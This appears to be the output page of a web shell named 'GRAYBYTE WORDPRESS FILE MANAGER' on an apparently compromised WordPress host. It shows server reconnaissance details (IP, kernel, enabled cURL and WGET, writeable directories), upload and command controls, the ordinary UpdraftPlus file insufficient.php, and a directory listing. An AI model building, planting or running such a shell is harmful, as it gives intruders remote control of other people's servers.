GRAYBYTE WORDPRESS FILE MANAGER1659

Server IP : 162.213.255.40 / Your IP : 216.73.216.121
System : Linux server146.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
PHP Version : 8.0.30
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF

HOME

/home/hellrfbn/public_html/wp-content/plugins/updraftplus/methods/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/hellrfbn/public_html/wp-content/plugins/updraftplus/methods//insufficient.php
<?php

if (!defined('UPDRAFTPLUS_DIR')) die('No direct access allowed.');

if (!class_exists('UpdraftPlus_BackupModule')) updraft_try_include_file('methods/backup-module.php', 'require_once');

class UpdraftPlus_BackupModule_insufficientphp extends UpdraftPlus_BackupModule {

	private $required_php;

	private $error_msg;

	private $method;

	private $desc;

	private $image;

	private $error_msg_trans;

	public function __construct($method, $desc, $php, $image = null) {
		$this->method = $method;
		$this->desc = $desc;
		$this->required_php = $php;
		$this->image = $image;
		$this->error_msg = 'This remote storage method ('.$this->desc.') requires PHP '.$this->required_php.' or later';
		$this->error_msg_trans = sprintf(__('This remote storage method (%s) requires PHP %s or later.', 'updraftplus'), $this->desc, $this->required_php);
	}

	private function log_error() {
		global $updraftplus;
		$updraftplus->log($this->error_msg);
		$updraftplus->log($this->error_msg_trans, 'error', 'insufficientphp');
		return false;
	}

	/**
	 * backup method: takes an array, and shovels them off to the cloud storage
	 *
	 * @param  array $backup_array An array backups
	 * @return Array
	 */
	public function backup($backup_array) {// phpcs:ignore VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedVariable -- Unused variable is present because the function to perform backup for specific storage is not exist.
		return $this->log_error();
	}

	/**
	 * Retrieve a list of supported features for this storage method
	 *
	 * Currently known features:
	 *
	 * - multi_options : indicates that the remote storage module
	 * can handle its options being in the Feb-2017 multi-options
	 * format. N.B. This only indicates options handling, not any
	 * other multi-destination options.
	 *
	 * - multi_servers : not implemented yet: indicates that the
	 * remote storage module can handle multiple servers at backup
	 * time. This should not be specified without multi_options.
	 * multi_options without multi_servers is fine - it will just
	 * cause only the first entry in the options array to be used.
	 *
	 * - config_templates : not implemented yet: indicates that
	 * the remote storage module can output its configuration in
	 * Handlebars format via the get_configuration_template() method.
	 *
	 * @return Array - an array of supported features (any features not
	 * mentioned are assumed to not be supported)
	 */
	public function get_supported_features() {
		// The 'multi_options' options format is handled via only accessing options via $this->get_options()
		return array('multi_options', 'config_templates');
	}

	/**
	 * $match: a substring to require (tested via strpos() !== false)
	 *
	 * @param  String $match THis will specify which match is used for the SQL but by default it is set to 'backup_' unless specified
	 * @return Array
	 */
	public function listfiles($match = 'backup_') {// phpcs:ignore VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedVariable -- Unused variable is present because the function to perform listfiles for specific storage is not exist.
		return new WP_Error('insufficient_php', $this->error_msg_trans);
	}

	/**
	 * delete method: takes an array of file names (base name) or a single string, and removes them from the cloud storage
	 *
	 * @param  String  $files 	 List of files
	 * @param  Boolean $data 	 Specifies data or not
	 * @param  array   $sizeinfo This is the size info on the file.
	 * @return Array
	 */
	public function delete($files, $data = false, $sizeinfo = array()) {// phpcs:ignore VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedVariable -- Unused variable is present because the function to perform delete for specific storage is not exist.
		return $this->log_error();
	}

	/**
	 * download method: takes a file name (base name), and brings it back from the cloud storage into Updraft's directory
	 * You can register errors with $updraftplus->log("my error message", 'error')
	 *
	 * @param  String $file List of files
	 * @return Array
	 */
	public function download($file) {// phpcs:ignore VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedVariable -- Unused variable is present because the function to perform download for specific storage is not exist.
		return $this->log_error();
	}

	private function extra_config() {
	}

	/**
	 * Get the configuration template
	 *
	 * @return String - the template, ready for substitutions to be carried out
	 */
	public function get_configuration_template() {
		ob_start();
		$this->extra_config();
		?>
		<tr class="updraftplusmethod <?php echo esc_attr($this->method);?>">
			<th><?php echo esc_html($this->desc);?>:</th>
			<td>
				<em>
					<?php echo (!empty($this->image)) ? '<p><img src="'.esc_url(UPDRAFTPLUS_URL.'/images/'.$this->image).'"></p>' : ''; ?>
					<?php echo esc_html($this->error_msg_trans);?>
					<?php esc_html_e('You will need to ask your web hosting company to upgrade.', 'updraftplus');?>
					<?php echo esc_html(sprintf(__('Your %s version: %s.', 'updraftplus'), 'PHP', phpversion()));?>
				</em>
			</td>
		</tr>
		<?php
		return ob_get_clean();
	}
}

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
.htaccess
0.41 KB
July 23 2025 07:38:28
hellrfbn / hellrfbn
0644
addon-not-yet-present.php
6.144 KB
February 05 2025 15:45:31
hellrfbn / hellrfbn
0644
azure.php
1.149 KB
February 05 2025 15:45:31
hellrfbn / hellrfbn
0644
backblaze.php
1.171 KB
February 05 2025 15:45:31
hellrfbn / hellrfbn
0644
backup-module.php
32.215 KB
February 05 2025 15:45:31
hellrfbn / hellrfbn
0644
cloudfiles-new.php
15.516 KB
February 05 2025 15:45:31
hellrfbn / hellrfbn
0644
cloudfiles.php
22.859 KB
February 05 2025 15:45:31
hellrfbn / hellrfbn
0644
dreamobjects.php
10.946 KB
February 05 2025 15:45:31
hellrfbn / hellrfbn
0644
dropbox.php
44.285 KB
February 05 2025 15:45:31
hellrfbn / hellrfbn
0644
email.php
5.935 KB
February 05 2025 15:45:31
hellrfbn / hellrfbn
0644
ftp.php
18.811 KB
February 05 2025 15:45:31
hellrfbn / hellrfbn
0644
googlecloud.php
1.176 KB
February 05 2025 15:45:31
hellrfbn / hellrfbn
0644
googledrive.php
70.146 KB
February 05 2025 15:45:31
hellrfbn / hellrfbn
0644
insufficient.php
4.991 KB
February 05 2025 15:45:31
hellrfbn / hellrfbn
0644
onedrive.php
1.106 KB
February 05 2025 15:45:31
hellrfbn / hellrfbn
0644
openstack-base.php
23.359 KB
February 05 2025 15:45:31
hellrfbn / hellrfbn
0644
openstack.php
0.565 KB
February 05 2025 15:45:31
hellrfbn / hellrfbn
0644
openstack2.php
12.576 KB
February 05 2025 15:45:31
hellrfbn / hellrfbn
0644
pcloud.php
0.709 KB
February 05 2025 15:45:31
hellrfbn / hellrfbn
0644
s3.php
65.577 KB
February 05 2025 15:45:31
hellrfbn / hellrfbn
0644
s3generic.php
15.659 KB
February 05 2025 15:45:31
hellrfbn / hellrfbn
0644
sftp.php
1.16 KB
February 05 2025 15:45:31
hellrfbn / hellrfbn
0644
template.php
5.167 KB
February 05 2025 15:45:31
hellrfbn / hellrfbn
0644
updraftvault.php
53.278 KB
February 05 2025 15:45:31
hellrfbn / hellrfbn
0644
webdav.php
1.096 KB
February 05 2025 15:45:31
hellrfbn / hellrfbn
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF